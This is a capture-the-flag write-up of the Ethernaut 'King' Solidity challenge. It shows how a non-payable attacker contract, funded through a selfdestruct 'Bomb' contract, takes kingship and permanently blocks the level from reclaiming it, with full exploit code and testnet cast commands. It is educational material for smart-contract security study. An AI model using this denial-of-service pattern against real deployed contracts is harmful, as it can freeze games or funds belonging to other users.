King - The Ethernaut - Writeup
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
This is the contract’s code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
First, we need to get an instance for the challenge:
-
After connecting our Metamask wallet, click on “Get New Instance”:

-
After approving the transaction, the contract address will be shown in the browser’s javascript console:

This is just a contract that has a king. In order to be king of the contract, you need to send at least prize ether. If you do, you are the new king! The ether sent gets sent to the current king’s wallet.
The goal of the challenge is to claim kingship and make it impossible for others to do so. There are two ways in which the receive function can fail:
- The
requirestatement fails. This can happen in the value sent is less thanprize. However, the deployer of the contract will always pass therequirecheck because of being its owner. - The
payable(king).transfer(msg.value)statement fails. How can this happen? Well, we can follow the same strategy as for the solution to the level 7. If the king address is not payable, casting thekingvariable to apayablewill fail consistently.
We need to create a contract that cannot be paid but has funds to send to the challenge’s contract. We can give the ether to our contract using, once again, the same technique.
First, let’s figure out what prize is:
cast from-wei $(cast storage 0xaCc1174C1AB569FBE57BF84B736Cbaf01CFe3031 1 --rpc-url $SEPOLIA_RPC_URL)

We need to send 0.001 ether to be king.
The contract, even though it is not payable, must be able to send ether to the challenge’s contract, so we have to include a function to do so.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
uint256 prize = 1000000000000000;
function crown(address _target) public {
payable(_target).call{value: prize}("");
}
}
Now, we need the bomb contract that selfdestructs and sends its ether to our exploit contract:
contract Bomb {
function destroy(address _to) public {
selfdestruct(payable(_to));
}
receive() external payable {}
}
Using forge, we can deploy these contracts and get their addresses:

And first, we feed the bomb:
cast send 0x84D202eAB5AFadED668363DFB145E38818c19324 --value 1000000000000000 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
Then, explode it, sending its ether to the exploit contract:
cast send 0x84D202eAB5AFadED668363DFB145E38818c19324 "destroy(address)" 0xDD4609366AE3d329a2523c6357e029b68c5A033D --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
Finally, call the crown function:
cast send 0xDD4609366AE3d329a2523c6357e029b68c5A033D "crown(address)" 0xaCc1174C1AB569FBE57BF84B736Cbaf01CFe3031 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
And… crown the challenge as well
